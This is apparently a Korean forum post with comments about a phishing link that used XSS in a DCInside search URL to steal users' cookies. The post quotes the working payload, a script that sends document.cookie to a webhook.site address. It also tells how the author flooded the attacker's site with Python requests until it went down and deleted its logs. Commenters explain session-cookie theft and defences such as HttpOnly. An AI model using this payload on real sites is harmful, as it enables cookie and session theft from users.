html로 실제로 이동될 url과
보이는 url을 다르게 해서 사이트 접근 유도함.
실제로 이동된 url은
이런식으로 dc 검색창에 js코드 넣어서 검색실행된 url로 이동됨.
저렇게 검색창에 js코드 넣은것도 실행 되더라
내가 진짜 개좆밥일때
이런식으로 해킹당할 수 있으니까 조심하라고 배웠던거 같은데
이정도는 막아줘야 하는거 아닌가
이게 어쩔 수 없는 부분인가?
(난 웹개발자 아니라서 모름)
여튼
<script>alert('쿠키 잘 털어간다ㅋㅋ');alert(document.cookie);document.location='https://webhook.site/(이새끼 고유 주소)?'+document.cookie;</script>
이런식으로 쿠키 잘털어간다고 능욕 한번 해주고
사용자 쿠키 털어다가
'저새끼 webhook.site 주소 + 사용자 쿠키내용' 으로 자동으로 이동하게 만듦.
왜 저사이트로 이동하게 만들었냐면
누가 어떤 url로 접속했으며 host의 ip까지 볼 수 있거든
2번째 짤 까만색으로 칠한게 이새끼 고유 주소고
나머지는 내 아이피 뒷자리 가린거임
2번째짤 GET 부분 url에서 ? 이후 부분에서는 사용자 쿠키 내용이 전부 담겨있음.
(반대로 저렇게 니애미사망 같은거 적어놓고 접속하면 저것도 다 볼 수 있다는거)
이새낀 이런 짓으로
사용자의 ip + 쿠키를 훔쳐간거
* 그런데 난 또 시발 대단한거 훔쳐간줄 알았는데 디씨 쿠키만 가져가더라
(재차 말하지만 난 웹개발자가 아니라서 웹에 대해선 전혀 모름)
여튼 작동 원리에 대해 알았으니
python을 이용해
화끈하게 니애미사망으로 무한 접속 시도 해줌.
ㅇㅇ 사이트 사망
무료버전 써서 그런지 금방 뒤지더라
심지어 이거 다른 사용자가 접속 로그도 다 삭제 가능함.
나 말고도 여러명이 접속했던데
내가 다 지워줬다
나는 어자피 앰생이라 내 아이피 얼마든지 훔쳐가도 상관없어서
그냥 놔뒀음
요약
1. 새벽에 피싱사이트로 dc쿠키 훔쳐가던 새끼 있음
2. 보안/웹 하나도 안배운 나도 알 수 있을 정도로 하찮은 방법이였음 (댓글로 누가 'XSS 공격'이라고 알려줌)
3. 사이트 폭파 시키고 + 접속한 사람들 로그 지움
참고로 이새끼가 개좆병신 초짜인 이유가 "alert('쿠키 잘 털어간다ㅋㅋ');" 이거 처넣은거임. 이거 때문에 popup창이 출력되는데 그냥 확인 안누르고 사이트 바로 꺼버리면 url 이동도 안되고 쿠키 털릴 일도 없음
그리고 쿠키 털려봤자 디씨 쿠키뿐임.
이거 유동 비번 다 털렸겠네ㅋㅋ 비밀번호 쿠키에 저장한다네
으앙 내 유동 비번~
아 저거 원리 뭔가 했네ㅋㅋ 난 통신사 ip에 시크릿 모드로 해봤는데 근데 디시 검색 저거 스크립트 실행되면 안되는거 아닌가?
나도 안된다고 생각하는데 왜 저렇게 해놓았는지 이유는 모르겠네
접속 로그는 어떻게 삭제함?
그냥 사이트 자체에서 제공해주더라 내가 해당 웹 admin도 아닌데 그냥 삭제버튼 있었음. 애초에 그냥 웹으로 실험 하라고 만들어둔 가벼운 사이트인거 같음.(자세하겐 모름)
들어가보니 그렇더라 새벽에 좋은 일 했네 저거 들어간 애들 있는거 같던데
XSS 공격이네
이런 것도 신고되냐? 해킹은 아닌가
법 쪽은 잘 몰라서 뇌피셜이지만 저걸로 실제 무언가 나쁜짓을 해야(탈취한 계정으로 글을 올린다든가) 처벌까지 될거임. 그나저나 코드 한줄만 넣으면 xss 차단되는걸 디시에 안 넣은게 웃기네 ㅋㅋㅋ
하나 배워간다
Tmi 하나 더 알려주자면, 고닉으로 로그인 하면 페이지 이동해도 로그인상태 유지하려고 세션쿠키라는걸 쓰는데, 이것도 결국 쿠키라서 저런 XSS 공격 당하면 '로그인 상태'를 탈취해서 그 계정 자격으로 이것저것 악용할 수도 있음. 계정 비밀번호가 털리는게 아니라 '로그인 상태'를 털리는거라 덜(?) 문제긴 한데, 이것도 서버단에서 코드 한 줄 추가하면 예방 가능함.
세션 쿠키도 가져갈수있음? 세션 쿠키는 프라이빗 비슷한 곳에 저장하는 걸로 아는데. 프론트가 아니라 모르겠노
그리고 이거 xss는 동일 사이트 쿠키만 가져갈수있는거 맞음? 지피티 찾아보니 그렇다는데
답변 고맙다. 나름 배우니까 재밌네
ㅇㅇ 정확히는 도메인과 그 서브 도메인의 쿠키만 가져가는게 가능
좀만더 디테일하게 설명해주면 저렇게 js 로 접근가능한 쿠키들은 대부분 평문일경우가많음. 보안이필요한 쿠키는 httponly 쿠키설정하고 도메인을 퍼스트파티 도메인으로 설정하면 저런방식으로 못가져감. xss 는 맞으나 만약 쿠키 기본 보안정책만 설정했다면 중요한쿠키들은 수집못함
난 이래서 dc에 있는 링크 클릭 한번도 안함
디시에서 실행되는 xss 는 디시꺼밖에 못들고감 그리고 내 기억으론 저 쿠키로는 로그인 못하고ㅇㅅㅇ
유동 비번은 털릴수도ㅇㅅㅇ
궁금해서 눌렀는데 브라우저 설정에서 서드파티쿠키를 막아서 그런가 파업 안 뜨고 접속이 아예 안되던데
코딩갓배운 잼민이나 허접이겠지